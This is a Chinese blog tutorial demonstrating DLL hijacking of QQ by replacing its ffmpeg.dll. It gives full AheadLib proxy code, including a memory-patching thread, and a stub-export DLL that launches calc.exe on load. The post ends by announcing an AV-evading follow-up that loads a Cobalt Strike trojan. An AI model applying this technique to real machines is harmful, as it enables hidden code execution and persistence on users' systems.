【简单dll劫持-1】

最新推荐文章于 2025-07-05 09:56:11 发布
原创 最新推荐文章于 2025-07-05 09:56:11 发布 · 2.8k 阅读 ·
本内容遵循CC 4.0 BY-SA版权协议
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
cknow-ai sunminem

cknow-ai 关注

标签
#网络安全
分类 信息安全与密码学

简单dll劫持-1 劫持QQ

首先，查找qq加载所需的dll文件，Proccess Monitor设置过滤器查找QQ运行时所加载的dll
在这里插入图片描述在这里插入图片描述
应用这两条规则，然后运行QQ在这里插入图片描述
选择比较靠前的dll
在这里插入图片描述

开始写劫持dll代码

找到ffmpeg.dll,放入AheadLib中查看其原始代码
在这里插入图片描述
在这里插入图片描述

查看生成的.cpp文件

在这里插入图片描述

代码如下

//
// created by AheadLib
// github:https://github.com/strivexjun/AheadLib-x86-x64
//

#include <windows.h>
#include <Shlwapi.h>

#pragma comment( lib, "Shlwapi.lib")

#pragma comment(linker, "/EXPORT:av_buffer_create=AheadLib_av_buffer_create,@1")
#pragma comment(linker, "/EXPORT:av_buffer_get_opaque=AheadLib_av_buffer_get_opaque,@2")
#pragma comment(linker, "/EXPORT:av_dict_count=AheadLib_av_dict_count,@3")
#pragma comment(linker, "/EXPORT:av_dict_free=AheadLib_av_dict_free,@4")
#pragma comment(linker, "/EXPORT:av_dict_get=AheadLib_av_dict_get,@5")
#pragma comment(linker, "/EXPORT:av_dict_set=AheadLib_av_dict_set,@6")
#pragma comment(linker, "/EXPORT:av_force_cpu_flags=AheadLib_av_force_cpu_flags,@7")
#pragma comment(linker, "/EXPORT:av_frame_alloc=AheadLib_av_frame_alloc,@8")
#pragma comment(linker, "/EXPORT:av_frame_clone=AheadLib_av_frame_clone,@9")
#pragma comment(linker, "/EXPORT:av_frame_free=AheadLib_av_frame_free,@10")
#pragma comment(linker, "/EXPORT:av_frame_unref=AheadLib_av_frame_unref,@11")
#pragma comment(linker, "/EXPORT:av_free=AheadLib_av_free,@12")
#pragma comment(linker, "/EXPORT:av_get_bytes_per_sample=AheadLib_av_get_bytes_per_sample,@13")
#pragma comment(linker, "/EXPORT:av_get_cpu_flags=AheadLib_av_get_cpu_flags,@14")
#pragma comment(linker, "/EXPORT:av_image_check_size=AheadLib_av_image_check_size,@15")
#pragma comment(linker, "/EXPORT:av_init_packet=AheadLib_av_init_packet,@16")
#pragma comment(linker, "/EXPORT:av_log_set_level=AheadLib_av_log_set_level,@17")
#pragma comment(linker, "/EXPORT:av_malloc=AheadLib_av_malloc,@18")
#pragma comment(linker, "/EXPORT:av_max_alloc=AheadLib_av_max_alloc,@19")
#pragma comment(linker, "/EXPORT:av_new_packet=AheadLib_av_new_packet,@20")
#pragma comment(linker, "/EXPORT:av_packet_alloc=AheadLib_av_packet_alloc,@21")
#pragma comment(linker, "/EXPORT:av_packet_copy_props=AheadLib_av_packet_copy_props,@22")
#pragma comment(linker, "/EXPORT:av_packet_free=AheadLib_av_packet_free,@23")
#pragma comment(linker, "/EXPORT:av_packet_get_side_data=AheadLib_av_packet_get_side_data,@24")
#pragma comment(linker, "/EXPORT:av_packet_unref=AheadLib_av_packet_unref,@25")
#pragma comment(linker, "/EXPORT:av_read_frame=AheadLib_av_read_frame,@26")
#pragma comment(linker, "/EXPORT:av_rescale_q=AheadLib_av_rescale_q,@27")
#pragma comment(linker, "/EXPORT:av_samples_get_buffer_size=AheadLib_av_samples_get_buffer_size,@28")
#pragma comment(linker, "/EXPORT:av_seek_frame=AheadLib_av_seek_frame,@29")
#pragma comment(linker, "/EXPORT:av_strdup=AheadLib_av_strdup,@30")
#pragma comment(linker, "/EXPORT:av_stream_get_first_dts=AheadLib_av_stream_get_first_dts,@31")
#pragma comment(linker, "/EXPORT:av_stream_get_side_data=AheadLib_av_stream_get_side_data,@32")
#pragma comment(linker, "/EXPORT:av_strerror=AheadLib_av_strerror,@33")
#pragma comment(linker, "/EXPORT:avcodec_align_dimensions=AheadLib_avcodec_align_dimensions,@34")
#pragma comment(linker, "/EXPORT:avcodec_alloc_context3=AheadLib_avcodec_alloc_context3,@35")
#pragma comment(linker, "/EXPORT:avcodec_descriptor_get=AheadLib_avcodec_descriptor_get,@36")
#pragma comment(linker, "/EXPORT:avcodec_descriptor_next=AheadLib_avcodec_descriptor_next,@37")
#pragma comment(linker, "/EXPORT:avcodec_find_decoder=AheadLib_avcodec_find_decoder,@38")
#pragma comment(linker, "/EXPORT:avcodec_flush_buffers=AheadLib_avcodec_flush_buffers,@39")
#pragma comment(linker, "/EXPORT:avcodec_free_context=AheadLib_avcodec_free_context,@40")
#pragma comment(linker, "/EXPORT:avcodec_get_name=AheadLib_avcodec_get_name,@41")
#pragma comment(linker, "/EXPORT:avcodec_open2=AheadLib_avcodec_open2,@42")
#pragma comment(linker, "/EXPORT:avcodec_parameters_to_context=AheadLib_avcodec_parameters_to_context,@43")
#pragma comment(linker, "/EXPORT:avcodec_receive_frame=AheadLib_avcodec_receive_frame,@44")
#pragma comment(linker, "/EXPORT:avcodec_send_packet=AheadLib_avcodec_send_packet,@45")
#pragma comment(linker, "/EXPORT:avformat_alloc_context=AheadLib_avformat_alloc_context,@46")
#pragma comment(linker, "/EXPORT:avformat_close_input=AheadLib_avformat_close_input,@47")
#pragma comment(linker, "/EXPORT:avformat_find_stream_info=AheadLib_avformat_find_stream_info,@48")
#pragma comment(linker, "/EXPORT:avformat_free_context=AheadLib_avformat_free_context,@49")
#pragma comment(linker, "/EXPORT:avformat_open_input=AheadLib_avformat_open_input,@50")
#pragma comment(linker, "/EXPORT:avio_alloc_context=AheadLib_avio_alloc_context,@51")
#pragma comment(linker, "/EXPORT:avio_close=AheadLib_avio_close,@52")


extern "C" 
{
PVOID pfnAheadLib_av_buffer_create;
PVOID pfnAheadLib_av_buffer_get_opaque;
PVOID pfnAheadLib_av_dict_count;
PVOID pfnAheadLib_av_dict_free;
PVOID pfnAheadLib_av_dict_get;
PVOID pfnAheadLib_av_dict_set;
PVOID pfnAheadLib_av_force_cpu_flags;
PVOID pfnAheadLib_av_frame_alloc;
PVOID pfnAheadLib_av_frame_clone;
PVOID pfnAheadLib_av_frame_free;
PVOID pfnAheadLib_av_frame_unref;
PVOID pfnAheadLib_av_free;
PVOID pfnAheadLib_av_get_bytes_per_sample;
PVOID pfnAheadLib_av_get_cpu_flags;
PVOID pfnAheadLib_av_image_check_size;
PVOID pfnAheadLib_av_init_packet;
PVOID pfnAheadLib_av_log_set_level;
PVOID pfnAheadLib_av_malloc;
PVOID pfnAheadLib_av_max_alloc;
PVOID pfnAheadLib_av_new_packet;
PVOID pfnAheadLib_av_packet_alloc;
PVOID pfnAheadLib_av_packet_copy_props;
PVOID pfnAheadLib_av_packet_free;
PVOID pfnAheadLib_av_packet_get_side_data;
PVOID pfnAheadLib_av_packet_unref;
PVOID pfnAheadLib_av_read_frame;
PVOID pfnAheadLib_av_rescale_q;
PVOID pfnAheadLib_av_samples_get_buffer_size;
PVOID pfnAheadLib_av_seek_frame;
PVOID pfnAheadLib_av_strdup;
PVOID pfnAheadLib_av_stream_get_first_dts;
PVOID pfnAheadLib_av_stream_get_side_data;
PVOID pfnAheadLib_av_strerror;
PVOID pfnAheadLib_avcodec_align_dimensions;
PVOID pfnAheadLib_avcodec_alloc_context3;
PVOID pfnAheadLib_avcodec_descriptor_get;
PVOID pfnAheadLib_avcodec_descriptor_next;
PVOID pfnAheadLib_avcodec_find_decoder;
PVOID pfnAheadLib_avcodec_flush_buffers;
PVOID pfnAheadLib_avcodec_free_context;
PVOID pfnAheadLib_avcodec_get_name;
PVOID pfnAheadLib_avcodec_open2;
PVOID pfnAheadLib_avcodec_parameters_to_context;
PVOID pfnAheadLib_avcodec_receive_frame;
PVOID pfnAheadLib_avcodec_send_packet;
PVOID pfnAheadLib_avformat_alloc_context;
PVOID pfnAheadLib_avformat_close_input;
PVOID pfnAheadLib_avformat_find_stream_info;
PVOID pfnAheadLib_avformat_free_context;
PVOID pfnAheadLib_avformat_open_input;
PVOID pfnAheadLib_avio_alloc_context;
PVOID pfnAheadLib_avio_close;
}


static
HMODULE g_OldModule = NULL;

VOID WINAPI Free()
{
	if (g_OldModule)
	{
		FreeLibrary(g_OldModule);
	}
}


BOOL WINAPI Load()
{
	TCHAR tzPath[MAX_PATH];
	TCHAR tzTemp[MAX_PATH * 2];

	//
	// �����Ƿ��ϵͳĿ¼��ǰĿ¼����ԭʼDLL
	//
	//GetModuleFileName(NULL,tzPath,MAX_PATH); //��ȡ��Ŀ¼�µ�
	//PathRemoveFileSpec(tzPath);

	GetSystemDirectory(tzPath, MAX_PATH); //Ĭ�ϻ�ȡϵͳĿ¼��

	lstrcat(tzPath, TEXT("\\ffmpeg.dll"));

	g_OldModule = LoadLibrary(tzPath);
	if (g_OldModule == NULL)
	{
		wsprintf(tzTemp, TEXT("�޷��ҵ�ģ�� %s,�����޷���������"), tzPath);
		MessageBox(NULL, tzTemp, TEXT("AheadLib"), MB_ICONSTOP);
	}

	return (g_OldModule != NULL);

}


FARPROC WINAPI GetAddress(PCSTR pszProcName)
{
	FARPROC fpAddress;
	CHAR szProcName[64];
	TCHAR tzTemp[MAX_PATH];

	fpAddress = GetProcAddress(g_OldModule, pszProcName);
	if (fpAddress == NULL)
	{
		if (HIWORD(pszProcName) == 0)
		{
			wsprintfA(szProcName, "#%d", pszProcName);
			pszProcName = szProcName;
		}

		wsprintf(tzTemp, TEXT("�޷��ҵ����� %hs,�����޷���������"), pszProcName);
		MessageBox(NULL, tzTemp, TEXT("AheadLib"), MB_ICONSTOP);
		ExitProcess(-2);
	}
	return fpAddress;
}

BOOL WINAPI Init()
{
	pfnAheadLib_av_buffer_create = GetAddress("av_buffer_create");
	pfnAheadLib_av_buffer_get_opaque = GetAddress("av_buffer_get_opaque");
	pfnAheadLib_av_dict_count = GetAddress("av_dict_count");
	pfnAheadLib_av_dict_free = GetAddress("av_dict_free");
	pfnAheadLib_av_dict_get = GetAddress("av_dict_get");
	pfnAheadLib_av_dict_set = GetAddress("av_dict_set");
	pfnAheadLib_av_force_cpu_flags = GetAddress("av_force_cpu_flags");
	pfnAheadLib_av_frame_alloc = GetAddress("av_frame_alloc");
	pfnAheadLib_av_frame_clone = GetAddress("av_frame_clone");
	pfnAheadLib_av_frame_free = GetAddress("av_frame_free");
	pfnAheadLib_av_frame_unref = GetAddress("av_frame_unref");
	pfnAheadLib_av_free = GetAddress("av_free");
	pfnAheadLib_av_get_bytes_per_sample = GetAddress("av_get_bytes_per_sample");
	pfnAheadLib_av_get_cpu_flags = GetAddress("av_get_cpu_flags");
	pfnAheadLib_av_image_check_size = GetAddress("av_image_check_size");
	pfnAheadLib_av_init_packet = GetAddress("av_init_packet");
	pfnAheadLib_av_log_set_level = GetAddress("av_log_set_level");
	pfnAheadLib_av_malloc = GetAddress("av_malloc");
	pfnAheadLib_av_max_alloc = GetAddress("av_max_alloc");
	pfnAheadLib_av_new_packet = GetAddress("av_new_packet");
	pfnAheadLib_av_packet_alloc = GetAddress("av_packet_alloc");
	pfnAheadLib_av_packet_copy_props = GetAddress("av_packet_copy_props");
	pfnAheadLib_av_packet_free = GetAddress("av_packet_free");
	pfnAheadLib_av_packet_get_side_data = GetAddress("av_packet_get_side_data");
	pfnAheadLib_av_packet_unref = GetAddress("av_packet_unref");
	pfnAheadLib_av_read_frame = GetAddress("av_read_frame");
	pfnAheadLib_av_rescale_q = GetAddress("av_rescale_q");
	pfnAheadLib_av_samples_get_buffer_size = GetAddress("av_samples_get_buffer_size");
	pfnAheadLib_av_seek_frame = GetAddress("av_seek_frame");
	pfnAheadLib_av_strdup = GetAddress("av_strdup");
	pfnAheadLib_av_stream_get_first_dts = GetAddress("av_stream_get_first_dts");
	pfnAheadLib_av_stream_get_side_data = GetAddress("av_stream_get_side_data");
	pfnAheadLib_av_strerror = GetAddress("av_strerror");
	pfnAheadLib_avcodec_align_dimensions = GetAddress("avcodec_align_dimensions");
	pfnAheadLib_avcodec_alloc_context3 = GetAddress("avcodec_alloc_context3");
	pfnAheadLib_avcodec_descriptor_get = GetAddress("avcodec_descriptor_get");
	pfnAheadLib_avcodec_descriptor_next = GetAddress("avcodec_descriptor_next");
	pfnAheadLib_avcodec_find_decoder = GetAddress("avcodec_find_decoder");
	pfnAheadLib_avcodec_flush_buffers = GetAddress("avcodec_flush_buffers");
	pfnAheadLib_avcodec_free_context = GetAddress("avcodec_free_context");
	pfnAheadLib_avcodec_get_name = GetAddress("avcodec_get_name");
	pfnAheadLib_avcodec_open2 = GetAddress("avcodec_open2");
	pfnAheadLib_avcodec_parameters_to_context = GetAddress("avcodec_parameters_to_context");
	pfnAheadLib_avcodec_receive_frame = GetAddress("avcodec_receive_frame");
	pfnAheadLib_avcodec_send_packet = GetAddress("avcodec_send_packet");
	pfnAheadLib_avformat_alloc_context = GetAddress("avformat_alloc_context");
	pfnAheadLib_avformat_close_input = GetAddress("avformat_close_input");
	pfnAheadLib_avformat_find_stream_info = GetAddress("avformat_find_stream_info");
	pfnAheadLib_avformat_free_context = GetAddress("avformat_free_context");
	pfnAheadLib_avformat_open_input = GetAddress("avformat_open_input");
	pfnAheadLib_avio_alloc_context = GetAddress("avio_alloc_context");
	pfnAheadLib_avio_close = GetAddress("avio_close");
	return TRUE;
}	

DWORD WINAPI ThreadProc(LPVOID lpThreadParameter)
{
	HANDLE hProcess;

	PVOID addr1 = reinterpret_cast<PVOID>(0x00401000);
	BYTE data1[] = { 0x90, 0x90, 0x90, 0x90 };

	//
	// �ƹ�VMP3.x ���ڴ汣��
	//
	hProcess = OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE, FALSE, GetCurrentProcessId());
	if (hProcess)
	{
		WriteProcessMemory(hProcess, addr1, data1, sizeof(data1), NULL);

		CloseHandle(hProcess);
	}

	return 0;
}


BOOL APIENTRY DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved)
{
	if (dwReason == DLL_PROCESS_ATTACH)
	{
		DisableThreadLibraryCalls(hModule);

		if (Load() && Init())
		{
			TCHAR szAppName[MAX_PATH] = TEXT("MyApp.exe");//���޸�����������
			TCHAR szCurName[MAX_PATH];

			GetModuleFileName(NULL, szCurName, MAX_PATH);
			PathStripPath(szCurName);

			//�Ƿ��ж�����������
			if (StrCmpI(szCurName, szAppName) == 0)
			{
				//���������̻߳�����������
				HANDLE hThread = CreateThread(NULL, NULL, ThreadProc, NULL, NULL, NULL);
				if (hThread)
				{
					CloseHandle(hThread);
				}
			}
		}
	}
	else if (dwReason == DLL_PROCESS_DETACH)
	{
		Free();
	}

	return TRUE;
}

根据原始dll代码编写劫持代码如下

#include <windows.h>
#include <Shlwapi.h>
#include "pch.h"

// Placeholder implementations for all functions

extern "C" __declspec(dllexport) int av_buffer_create() { return 0; }
extern "C" __declspec(dllexport) int av_buffer_get_opaque() { return 0; }
extern "C" __declspec(dllexport) int av_dict_count() { return 0; }
extern "C" __declspec(dllexport) int av_dict_free() { return 0; }
extern "C" __declspec(dllexport) int av_dict_get() { return 0; }
extern "C" __declspec(dllexport) int av_dict_set() { return 0; }
extern "C" __declspec(dllexport) int av_force_cpu_flags() { return 0; }
extern "C" __declspec(dllexport) int av_frame_alloc() { return 0; }
extern "C" __declspec(dllexport) int av_frame_clone() { return 0; }
extern "C" __declspec(dllexport) int av_frame_free() { return 0; }
extern "C" __declspec(dllexport) int av_frame_unref() { return 0; }
extern "C" __declspec(dllexport) int av_free() { return 0; }
extern "C" __declspec(dllexport) int av_get_bytes_per_sample() { return 0; }
extern "C" __declspec(dllexport) int av_get_cpu_flags() { return 0; }
extern "C" __declspec(dllexport) int av_image_check_size() { return 0; }
extern "C" __declspec(dllexport) int av_init_packet() { return 0; }
extern "C" __declspec(dllexport) int av_log_set_level() { return 0; }
extern "C" __declspec(dllexport) int av_malloc() { return 0; }
extern "C" __declspec(dllexport) int av_max_alloc() { return 0; }
extern "C" __declspec(dllexport) int av_new_packet() { return 0; }
extern "C" __declspec(dllexport) int av_packet_alloc() { return 0; }
extern "C" __declspec(dllexport) int av_packet_copy_props() { return 0; }
extern "C" __declspec(dllexport) int av_packet_free() { return 0; }
extern "C" __declspec(dllexport) int av_packet_get_side_data() { return 0; }
extern "C" __declspec(dllexport) int av_packet_unref() { return 0; }
extern "C" __declspec(dllexport) int av_read_frame() { return 0; }
extern "C" __declspec(dllexport) int av_rescale_q() { return 0; }
extern "C" __declspec(dllexport) int av_samples_get_buffer_size() { return 0; }
extern "C" __declspec(dllexport) int av_seek_frame() { return 0; }
extern "C" __declspec(dllexport) int av_strdup() { return 0; }
extern "C" __declspec(dllexport) int av_stream_get_first_dts() { return 0; }
extern "C" __declspec(dllexport) int av_stream_get_side_data() { return 0; }
extern "C" __declspec(dllexport) int av_strerror() { return 0; }
extern "C" __declspec(dllexport) int avcodec_align_dimensions() { return 0; }
extern "C" __declspec(dllexport) int avcodec_alloc_context3() { return 0; }
extern "C" __declspec(dllexport) int avcodec_descriptor_get() { return 0; }
extern "C" __declspec(dllexport) int avcodec_descriptor_next() { return 0; }
extern "C" __declspec(dllexport) int avcodec_find_decoder() { return 0; }
extern "C" __declspec(dllexport) int avcodec_flush_buffers() { return 0; }
extern "C" __declspec(dllexport) int avcodec_free_context() { return 0; }
extern "C" __declspec(dllexport) int avcodec_get_name() { return 0; }
extern "C" __declspec(dllexport) int avcodec_open2() { return 0; }
extern "C" __declspec(dllexport) int avcodec_parameters_to_context() { return 0; }
extern "C" __declspec(dllexport) int avcodec_receive_frame() { return 0; }
extern "C" __declspec(dllexport) int avcodec_send_packet() { return 0; }
extern "C" __declspec(dllexport) int avformat_alloc_context() { return 0; }
extern "C" __declspec(dllexport) int avformat_close_input() { return 0; }
extern "C" __declspec(dllexport) int avformat_find_stream_info() { return 0; }
extern "C" __declspec(dllexport) int avformat_free_context() { return 0; }
extern "C" __declspec(dllexport) int avformat_open_input() { return 0; }
extern "C" __declspec(dllexport) int avio_alloc_context() { return 0; }
extern "C" __declspec(dllexport) int avio_close() { return 0; }



BOOL APIENTRY DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved)
{
	if (dwReason == DLL_PROCESS_ATTACH)
	{
		DisableThreadLibraryCalls(hModule);

		// 创建一个新进程来打开系统计算器
		STARTUPINFO si = { sizeof(si) };
		PROCESS_INFORMATION pi;
		CreateProcess(TEXT("C:\\Windows\\System32\\calc.exe"), NULL, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi);

		// 关闭进程和线程句柄
		CloseHandle(pi.hProcess);
		CloseHandle(pi.hThread);
	}
	else if (dwReason == DLL_PROCESS_DETACH)
	{
		// 可选的清理代码可以放在这里
	}

	return TRUE;
}

设置为运行计算器在这里插入图片描述

然后再次放入Visual Studio中编译为DLL文件
在这里插入图片描述
将生成的Dll文件名改为ffmpeg.dll,替换QQ目录中的ffmpeg.dll
在这里插入图片描述
在这里插入图片描述
运行QQ时自动弹出计算器，且在运行中只要调用此DLL文件就会弹出计算器。

在这里插入图片描述

下期更新DLL劫持免杀上线CS马

点赞 点赞 18
评论 0
书签 书签 6
1.13 导出表劫持ShellCode加载
LYSHARK
09-01 1万+
在`Windows`操作系统中，动态链接库`DLL`是一种可重用的代码库，它允许多个程序共享同一份代码，从而节省系统资源。在程序运行时，如果需要使用某个库中的函数或变量，就会通过链接库来实现。而在`Windows`系统中，两个最基础的链接库就是`Ntdll.dll`和`Kernel32.dll`。 Ntdll.dll是Windows系统内核提供的一个非常重要的动态链接库，包含了大量的系统核心函数，如文件操作、进程和线程管理、内存操作等等。在进程启动时，操作系统会先加载`Ntdll.dll`，并将其映射到该
浅谈dll劫持免杀
记录学习，一起进步
11-25 2405
浅谈dll劫持-白加黑免杀指南
逆向破解之破解补丁与劫持Dll
xf555er的博客
08-22 8068
有些加了壳的程序会导致其在未完全解密完成的情况下出现如下汇编代码当软件运行后，其真正的汇编代码才会呈现出来，也就是我们常说的“吐壳”在程序没有把壳完全吐出来前，我们需要通过代码来判断这个程序是否吐完壳了，最好的方法就是判断某个内存地址的值是否是解密完成后的值这里我就选4010F0内存地址的值53来判断程序是否吐完壳了简单来说劫持dll就是劫持系统的dll，弄一个包含恶意代码的dll来伪装成系统dll，然后把这个dll和程序放在同一目录，程序会优先调用含有恶意代码的dll本次实例演示劫持系统的。
dll 源码_偷偷学习DLL劫持
weixin_39683526的博客
11-29 1796
文章主要是用来记录学习觉得low啊简单啊的话也不许笑话不然嘴给你们撕烂嘤嘤嘤Q达不溜Q首先是dll劫持的原理ღゝ◡╹)ノ♡就是攻击者能够利用Windows加载DLL的规则将需要劫持程序目录下的合法DLL替换成恶意DLL1.使用DLL_Hijacker.py来生成CPP源码(要注意路径要使用dll文件所在的路径哦)：DLL_Hijacker.py "D:\Program Files(x8...
[转载]DLL劫持生成器 源码开放（纯WINDOWS SDK）+ 实例分析
weixin_34043301的博客
03-19 2400
 本菜最近学习了什么DLL注入啊，hook啊(r3)的相关技术，觉得很好玩，于是深入发现还有DLL劫持这种东西觉得挺好玩的，加上最近看到各种木马分析报告中都还有发现有利用白加黑的现象。于是自己想找几个来玩玩，但是一个一个手动测试麻烦啊，于是想写个工具来测试目标是否存在DLL劫持漏洞的可能，于是就产生了写个工具的想法，上网一看，原来十年前都有大神写出来了，不过感觉有点麻烦，好多选项不知道干嘛的，加上...
dll劫持
hongduilanjun的博客
03-07 7592
title: 初探dll劫持 tags: 二进制 date: 2021/10/03 toc: true 本文将对dll劫持进行分析和利用。 基础知识 DLL(Dynamic Link Library)文件为动态链接库文件，又称“应用程序拓展”，是软件文件类型。 在Windows中，许多应用程序并不是一个完整的可执行文件，它们被分割成一些相对独立的动态链接库，即DLL文件。 在windows平台下，很多应用程序的很多功能是相似的，抛去ui等等来说，大致的功能都差不多，比如都得调用窗口，都得调用内存管理的.
Dll注入技术之劫持注入
Hades的博客
06-28 1万+
Dll注入技术之劫持注入测试环境系统:Windows 7 32bit工具:FileCleaner2.0 和 lpk.dll主要思路利用Window可以先加载当前目录下的dll特性,仿造系统的LPK.DLL,让应用程序先加载我们的伪LPK.DLL,然后在我们的dll中去调用原来系统的原函数.引用网络中的原理讲解●背景知识●首先我们要了解Windows为什么可以DLL劫持呢？主要是因为Windows的...
浅谈DLL劫持
chenyanxu的专栏
01-17 2052
最近在搞内网，需要实现免杀后门，大佬推荐了dll劫持，DLL劫持后，能干很多事情，比如杀软对某些厂商的软件是实行白名单的，你干些敏感操作都是不拦截，不提示的。还有留后门，提权等等。本文主要介绍如何检测dll劫持，以及实例演示。 1|0DLL劫持 1|1dll文件是什么？ DLL(Dynamic Link Library)文件为动态链接库文件，又称"应用程序拓展"，是软件文件类型。...
DLL劫持
m0_68259687的博客
11-16 1813
打开我们的Process Monitor，来监测一下某些程序启动的事件,这里我们要注意一个细节，当我们想要寻找存在Dll劫持的程序的时候，要把exe托出它原来的环境来执行，原因是上面所提到的dll加载顺序，我们需要保证找到的dll，一定是exe所在目录加载的。随着版本的更新，代码的更迭，应用程序自带的Dll数不胜数，几乎随便打开一个应用程序的主目录，都能看见一大把Dll，它们中的很多都满足被劫持的条件。这样进行劫持，还是有可能会让我们的程序没有办法正常运行，因为我们链上了一个原本不存在的dll，这样。
DLL函数查看与劫持源码实现——支持64位DLL
最新发布
weixin_30299319的博客
07-05 898
动态链接库（Dynamic Link Library，DLL）是Windows操作系统中实现共享函数库的一种方式，它允许程序共享库中的代码和资源，从而优化内存使用和程序设计。DLL技术的重要性体现在以下几个方面：DLL是一种特殊的可执行文件，它包含可以被多个程序调用的代码、数据或资源。在程序运行时，DLL被加载到内存中，并为各个应用程序提供运行时链接。通过DLL，开发者可以更方便地管理和更新程序模块，因为它们不必重新编译整个应用程序来升级或修改某个特定功能。
简单实现程序DLL劫持
XunanSec的博客
05-24 2412
0x00 前言 程序启动会调用固定的.dll文件，通过特定的手法将木马代码和进程注入到可被劫持的DLL文件中，当程序正常启动，我们代码也会秘密执行。 0x01 利用过程 用到的工具 1、Aheadlib 2、Visual Studio 用美图看看Pdf来测试，朋友们可以拿这个练手，毕竟只有一个.dll文件，小傻瓜都知道是调用的这个dll来启动程序的 找到易劫持的dll文件，打开Aheadlib，引入 注意这里设置的原始dll文件名，记住了最后正常dll名字要修改成这个 点击生成会
基于aheadlib工具进行DLL劫持
qq_55515447的博客
03-13 2074
AheadLib 是一款强大的工具，专门用于生成CPP代码或VS2022工程，适用于DLL劫持场景。该工具支持X86和X64架构，是进行DLL劫持操作的必备工具。功能特点生成CPP代码：AheadLib 能够自动生成适用于DLL劫持的CPP代码，简化开发流程。VS2022工程生成：支持生成VS2022工程文件，方便开发者直接在Visual Studio中进行开发和调试。多架构支持：全面支持X86和X64架构，满足不同平台的需求。使用场景。
DLL劫持原理
liuhaidon1992的博客
01-03 2257
系统有一套标准的搜索DLL路径的规则，这套规则又分为两种搜索模式，安全搜索模式，非安全搜索模式。 默认情况下启用安全DLL搜索模式。要禁用此功能，需创建HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode注册表值并将其设置为0。 如果启用了SafeDllSearchMod...
Windows提权笔记-动态库劫持（dll劫持、包含多种绕过UAC方法）
墨痕诉清风的博客
03-12 1193
dll 劫持是也是绕过 UAC 常用的方法，在 UACME 项目中很多绕过方法都是使用 dll 劫持。dll 劫持也是一个比较大的主题。一般操作如下，假设受信任的程序 c:\windows\system32\test\test.exe 会加载 c:\windows\system32\test.dll （不在 KnowsDLLS里面），
Dll导出函数劫持通用方法
meanong的博客
06-04 5814
问题发现 劫持方法 劫持思路 可能问题 劫持实现 导出函数列表 函数上下文 获取真函数的地址 eax值的保存 完整代码 问题发现 dll劫持是一种常见的攻击方法，但是也可以用在不知道程序源码的情况下调试dll的函数。之前在滴水教程的视频中注意到一个问题，视频作者演示了一个劫持messagebox函数，打印输出参数的过程，当时学生提问是否存在一种通用的方法可以劫持所有的函数，...
DLL劫持原理&防御方法
热门推荐
安全杂货铺
05-18 2万+
1.原理介绍 DLL劫持指的是，病毒通过一些手段来劫持或者替换正常的DLL，欺骗正常程序加载预先准备好的恶意DLL。 如下图，LPK.dll是应用程序运行所需加载的DLL，该系统文件默认在C:\Windows\system32路径下，但由于windows优先搜索当前路径，所以当我们把恶意LPK.dll放在应用程序同一路径下，便会被程序成功加载，从而执行恶意操作。 2.实例分析 下面以APT32攻...
DLL 劫持原理（运维）
Javachichi的博客
03-29 2412
Windows 应用程序中，实行了模块化设计，也就是说并不是每个应用程序都编写完所有的功能代码，而是在运行过程中调用相应功能的 DLL，不需运行的功能就不调用，所以大大加快了程序的加载速度和效率，其他应用程序也可以调用相关的 DLL，这样也有利于促进代码重用以及内存使用效率，减少了资源占用，而且程序更新时也只要更新相关的 DLL 就可以了。伪造的 dll 制作好后，放到程序当前目录下，这样当原程序调用原函数时就调用了伪造的 dll 的同名函数，进入劫持 DLL 的代码，处理完毕后，再调用原DLL 此函数。
DLL劫持QQ免杀上线CS远控马
sunminem的博客
09-25 621
DLL劫持上线CS马
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值